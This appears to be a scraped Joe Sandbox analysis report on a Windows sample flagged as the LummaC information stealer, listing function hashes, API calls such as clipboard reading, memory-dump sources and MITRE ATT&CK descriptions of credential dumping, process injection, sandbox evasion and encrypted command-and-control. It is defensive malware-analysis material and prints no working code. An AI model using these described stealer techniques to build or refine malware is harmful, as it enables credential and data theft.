Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction ID: 5c4c2a12a684bc4ff0d5a99ec30874bcdf27f0d0682448e5fdc4a84297f01b14
Opcode Fuzzy Hash: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction Fuzzy Hash: 87C0926CE9D0609FD200DF17FA40431B2BAABDB305B25F0218041632ADCA3AD8078B0E

Uniqueness

Uniqueness Score: -1.00%

Function 02D047FD Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b20b59e2086f6dd8b86981b4fe800b4338b1fb813824af916d05cb2e43669e3
Instruction ID: e75f760344972e11c8b48404786a159fb0baaeb0a6ce8aec3f61412875dfe28a
Opcode Fuzzy Hash: 7b20b59e2086f6dd8b86981b4fe800b4338b1fb813824af916d05cb2e43669e3
Instruction Fuzzy Hash: 88C09B1085C9C04BD75DCF245C7E5B5FF354D43144E18B0AEC1931B897E150944D434E

Uniqueness

Uniqueness Score: -1.00%

Function 02D27EAE Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfeac24bf3772787ead91bc6b722706e668c27b510a24701b3d939e5068ca24c
Instruction ID: 7bd2b15116bf5bad7ca5f628bad3fa516ab478f3cf40b7ce66427aac778f7d1a
Opcode Fuzzy Hash: cfeac24bf3772787ead91bc6b722706e668c27b510a24701b3d939e5068ca24c
Instruction Fuzzy Hash: 46C0923CF5D0509FD604DF1AFA51435B2BAABCB305B15F0349006A32ADCE39D8078A0D

Uniqueness

Uniqueness Score: -1.00%

Function 02D27EAC Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction ID: 913635589349ebfe81433f9cb7e568f5855a2a1d5818ad46288f825e6ce5573e
Opcode Fuzzy Hash: 4fd16f70c831f496ab4008e62d33e7b2106f6f3e52052a81b0b1c3f025a68765
Instruction Fuzzy Hash: 92C0922CE590609FE200DF16EA40432B2BABBD7209B15F0208141673ADCE39EC0BCB9D

Uniqueness

Uniqueness Score: -1.00%

Function 02D1C767 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32(?,?), ref: 02D1C7A8
OpenClipboard.USER32 ref: 02D1C7BA
GetClipboardData.USER32 ref: 02D1C7DD
CloseClipboard.USER32 ref: 02D1C914

Strings

:, xrefs: 02D1C86D
7, xrefs: 02D1C871
8, xrefs: 02D1C879
;, xrefs: 02D1C865
9, xrefs: 02D1C85D

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: 7$8$9$:$;
API String ID: 2278096442-1017836374
Opcode ID: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction ID: 13608d84e44e344876851defd006c16df09486bfa169c3812a4717d3b0aef317
Opcode Fuzzy Hash: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction Fuzzy Hash: B4519BB0558780DFD720DF68E185726BBE0AF05314F048A6ED8DA8BB46D374E909CB63

Uniqueness

Uniqueness Score: -1.00%

Function 02D0D8F7 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 02D0D9E4
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 02D0DA0F

Strings

SE, xrefs: 02D0D90E
X&, xrefs: 02D0D926
-^, xrefs: 02D0D91E
AV, xrefs: 02D0D916

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&
API String ID: 237503144-3017178743
Opcode ID: 88672712ba695551f4c2e9363b205b4fc2188bcfb2a8aaf974e2784d1cbba389
Instruction ID: 5416af9545e4ab5626d69283d289143a53da4d1e6f16e87fe9e02967348ff0d1
Opcode Fuzzy Hash: 88672712ba695551f4c2e9363b205b4fc2188bcfb2a8aaf974e2784d1cbba389
Instruction Fuzzy Hash: 327167702083918BE324CF15D890BABB7E2EFC6318F114A2DE8E95B390D7749945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 02D04BB7 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02D04C04
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 02D04C35

Strings

2M#O, xrefs: 02D04C53
qrs, xrefs: 02D04C6B
<Y.[, xrefs: 02D04CC5
r]Nm, xrefs: 02D04DD0

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: 2M#O$<Y.[$r]Nm$qrs
API String ID: 237503144-2765572984
Opcode ID: b4209384774e64906f4bd2642607d0db43ac134c72471375abf5c82cf001131c
Instruction ID: 9bff39aff240967be20c0135fa6eb7cff561e5cd0db7d85ec365b0ae34249554
Opcode Fuzzy Hash: b4209384774e64906f4bd2642607d0db43ac134c72471375abf5c82cf001131c
Instruction Fuzzy Hash: 2151B1B46083819BD320CF14C891BABB7E5EFC6324F054A1CF9958B3D1E3B49805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D0E1B7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 02D0E2F4
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 02D0E323

Strings

ru, xrefs: 02D0E242
M3, xrefs: 02D0E3D8, 02D0E3DC

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: ru$M3
API String ID: 237503144-652937946
Opcode ID: 103d3fe5a7db0c83f1ebe805be3a67d3ced831ce374e262ff3f3ddc4eeca0531
Instruction ID: 8f05178b0a4ae439a62f3a4ecbd72364eeff7cf0791313ef3dddcae6e40aef83
Opcode Fuzzy Hash: 103d3fe5a7db0c83f1ebe805be3a67d3ced831ce374e262ff3f3ddc4eeca0531
Instruction Fuzzy Hash: 2D5132B1108381AFE314CF11C890B5BBBE5EB89354F108D2DF8A55B391C775DA46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0041351C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004135E1
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 00413612

Strings

E&eb, xrefs: 00413787

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: E&eb
API String ID: 237503144-175690455
Opcode ID: 121384bb134e3370c515887561e4bff28e3ea622f5c04769a53e04112e5161fb
Instruction ID: 3627e64b03e8dace2a403a76fce9a7d6649682aa9ea1d52bf6d0af3834cb9b1a
Opcode Fuzzy Hash: 121384bb134e3370c515887561e4bff28e3ea622f5c04769a53e04112e5161fb
Instruction Fuzzy Hash: F761A171600B009FD338CF24C882BA7B3E6EB45315F148A2DE4AAC77D0E778B9858B55

Uniqueness

Uniqueness Score: -1.00%

Function 02D03783 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02D03848
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 02D03879

Strings

E&eb, xrefs: 02D039EE

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: E&eb
API String ID: 237503144-175690455
Opcode ID: 35764304b26e08c2116ddeae35a6a5734124e71df00623c25cae61cad56f9e43
Instruction ID: deb90ac9c9dd56f67542d29cce1ec85b2e6a0b74bca187342afdedf0408c7487
Opcode Fuzzy Hash: 35764304b26e08c2116ddeae35a6a5734124e71df00623c25cae61cad56f9e43
Instruction Fuzzy Hash: 56619C71A00B008FD368CF28C881B67B3E6EB85324F149A6CD4AAC77D0E774B944CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00431CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,m%s,00000008,?), ref: 00431DB3

Strings

m%s, xrefs: 00431D58
!EJK, xrefs: 00431D0C

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: m%s$!EJK
API String ID: 237503144-2691780584
Opcode ID: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction ID: 1bf3f748f95ab631ae595585e1a386fe61c7083a19ceef915992d3bd27d4ea4a
Opcode Fuzzy Hash: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction Fuzzy Hash: 4D219AB14083908FD304CF15D891B5BBBF4FB8A348F110A2DF9A1AB280D775D905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D21F37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,m%s,00000008,?), ref: 02D2201A

Strings

!EJK, xrefs: 02D21F73
m%s, xrefs: 02D21FBF

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: m%s$!EJK
API String ID: 237503144-2691780584
Opcode ID: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction ID: baf188ce9ff9c7d43c50f95d52e1a9ffad8a19a6b114dc5e720593a9fe38072a
Opcode Fuzzy Hash: f2095f0ebc42d9bb64772b760357b4197207047565d8c954b7750190abf9d7ce
Instruction Fuzzy Hash: 4A2189B24083908FD304CF55D891B5BBBF4FB86358F110A2CF9A5AB281D775D905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02CF8EE7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 02CF8F65

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 02CF8F24

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction ID: 627a120a14137801b7efb6fde82bf8c8eac6f5706281d5b0b47d0bcbef9ad948
Opcode Fuzzy Hash: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction Fuzzy Hash: 76F0C8B0C082009ECBC07BB5BA0926D7E679F51320F030B66CB8A46144D7379108CAA3

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iPUk65i3yI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_iPUk65i3yI.exe_2ec5395f16112ba3e812158ee989f8fd32d1fc_6086caad_64945b72-550f-47ce-b2ed-fb2dd609c044\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE13.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF2E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF5D.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
iPUk65i3yI.exe

Function 00423943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Function 00424084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Function 00424087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Function 00404740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Function 02CF003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 0041D690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Function 00414950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Function 00424AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Function 00424F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Function 0041DF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Function 00431DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON